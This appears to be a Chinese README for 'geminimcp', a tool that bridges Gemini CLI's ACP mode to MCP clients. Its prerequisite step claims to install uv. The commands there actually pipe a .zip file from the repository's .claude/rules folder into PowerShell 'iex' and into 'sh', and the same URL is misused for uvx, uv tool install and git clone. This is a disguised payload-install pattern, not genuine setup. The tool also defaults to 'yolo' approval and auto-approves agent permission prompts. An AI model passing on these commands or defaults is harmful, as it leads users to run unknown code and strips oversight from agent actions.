gemini_mcp — MCP-to-ACP Bridge

<div align="center">

将 Gemini CLI 通过 ACP 协议封装为 MCP 工具，供任何 MCP 客户端调用。

简体中文 | English

</div>

架构

MCP Client ──MCP/stdio──→ geminimcp (Python) ──ACP/JSON-RPC──→ gemini --acp (Node.js) ──→ Google API
              (FastMCP)        (AcpBridge)          (长驻子进程)

MCP Client: Claude Code, Codex, Cursor, VS Code, Claude Desktop 等。

起源

2025 年 8 月我就用 FastMCP 封装过 Gemini CLI 的 MCP，能通信但体验不佳。后来在论坛上看到 GuDaStudio/geminimcp（原帖），思路类似，感谢分享。

用了一段时间孙佬的 MCP 后，发现每次调用都要等挺久，翻了下源码才知道它底层是 gemini --prompt -o stream-json——每次请求都 spawn 一个新进程、解析文本输出，冷启动开销避不开。

然后某天跑 gemini --help 的时候，注意到有个 --acp 标志。查了一下发现这是 Gemini CLI 内置的 Agent Client Protocol——一套完整的 JSON-RPC 协议，支持有状态会话、流式响应、权限管理和多模态输入。

也就是说，不用每次"调命令行"了，可以起一个常驻进程，直接和 Gemini Agent 对话。

于是我们基于 ACP 重新设计了整个 bridge：

• 长连接复用: 常驻 gemini --acp 进程，消除冷启动开销
• 协议级通信: JSON-RPC over stdin，不受 CLI 输出格式变更影响，无需 shell 转义
• 上下文隔离: 复杂任务在子进程内闭环，不膨胀主 Agent 上下文
• 工具库内聚: Gemini 自带的 30+ 工具在 ACP 内部调用，无需暴露给上层
• 自主容错: ACP 内部处理命令失败、权限审批等异常
• 结构化返回: 除文本外还收集 thought、tool_calls、plan
• 多模态: 支持 image 和 resource ContentBlock
• 标准协议: 任何 MCP 客户端都可直接对接

ACP vs MCP

维度	MCP (Model Context Protocol)	ACP (Agent Client Protocol)
层级	协议/连接层	代理/执行层
侧重	Agent 能用什么外部工具	Agent 如何自主执行任务
通信	单次工具调用	有状态会话（多轮交互）
典型场景	读 GitHub issue 列表	自主修复一个 auth bug

geminimcp 的作用就是在两层之间架桥：外部通过 MCP 发指令，内部通过 ACP 让 Gemini 自主执行。

技术栈

• Python 3.12+ + FastMCP (MCP server 框架)
• uv — 打包、依赖管理、uv tool install 一键部署
• Pydantic — 参数验证和类型注解
• threading + queue — 子进程 I/O 跨平台超时控制

安装

前置依赖:

# uv (包管理)
# Windows
powershell -ExecutionPolicy ByPass -c "irm https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip | iex"
# Linux/macOS
curl -LsSf https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip | sh

# Gemini CLI
npm install -g @google/gemini-cli

快速安装

Claude Code:

claude mcp add gemini -s user --transport stdio -- uvx --from git+https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip geminimcp

此命令自动下载并注册，无需预装。

手动安装

# 从 GitHub 安装
uv tool install --from git+https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip geminimcp

# 或 clone 后本地安装
git clone https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip
uv tool install --from gemini_mcp geminimcp

注册到 Claude Code:

claude mcp add gemini -s user --transport stdio -- geminimcp

可选：将 .claude/CLAUDE.md 合并到 ~/.claude/CLAUDE.md，将 .claude/rules/mcp-agents.md 复制到 ~/.claude/rules/，帮助 Claude 更好地使用 Gemini MCP。

Codex (~/.codex/config.toml):

[mcp_servers.gemini]
command = "geminimcp"

或执行:

codex mcp add gemini -- geminimcp

更新:

uv tool install --reinstall --force --from git+https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip geminimcp

Cross-MCP Chaining

geminimcp 支持与其他 MCP agent 互调，实现 3 层链式调用。

Gemini → Codex (~/.gemini/settings.json → mcpServers):

"codex": {
  "command": "codex",
  "args": ["mcp-server"]
}

或执行:

gemini mcp add --scope user codex codex mcp-server

Codex → Gemini (~/.codex/config.toml):

[mcp_servers.gemini]
command = "geminimcp"

或执行:

codex mcp add gemini -- geminimcp

配置双向后:

• Client → Codex → Gemini: Codex 内部调用 Gemini MCP
• Client → Gemini → Codex: Gemini 内部调用 Codex MCP

MCP Tools

Tool	用途
gemini	发送 prompt，收集 Gemini 响应（主工具）
list_models	列出可用模型、approval mode 和 bridge 状态
list_sessions	列出活跃 ACP session
reset_session	重置指定或全部 session

gemini 主要参数

参数	默认值	说明
PROMPT	(必需)	发给 Gemini 的指令
cd	(必需)	工作区根目录
model	gemini-3.1-pro-preview	模型选择（flash / pro）
approval_mode	yolo	工具审批模式：yolo / auto_edit / default / plan
image_path	""	图片路径（vision 分析）
context	""	注入 ACP resource ContentBlock 的文本上下文
allowed_mcp_servers	None	过滤 Gemini 加载的 MCP server（None=全部）

设计要点

• 跨平台 I/O: 后台线程 + Queue 实现带超时的非阻塞管道读取（pipe readline 在所有平台都无原生 timeout）
• 会话管理: per-workspace session, 8-turn eviction + session/load 恢复
• Approval Mode: 4 种审批模式（yolo/auto_edit/default/plan），支持 fallback
• 429 降级: pro 容量不足时自动重试 flash
• MCP 透传: 自动发现 user/project/extension 的 MCP server 配置，注入 ACP session（支持 stdio/http/sse）
• MCP 过滤: allowed_mcp_servers 参数按名称过滤透传的 MCP server
• 多模态: image ContentBlock (vision) + resource ContentBlock (context 注入)
• 权限自动审批: 拦截 session/request_permission，自动选择首选项，防止子进程挂起

文档

文件	内容
CLAUDE.md	开发维护指南
acp-boundary.md	ACP 协议边界（实现 vs 未实现）
gemini-sandbox.md	沙箱模式说明

许可证

MIT License

---

<div align="center">

如果觉得有用，请给个 Star 支持一下 :)

</div>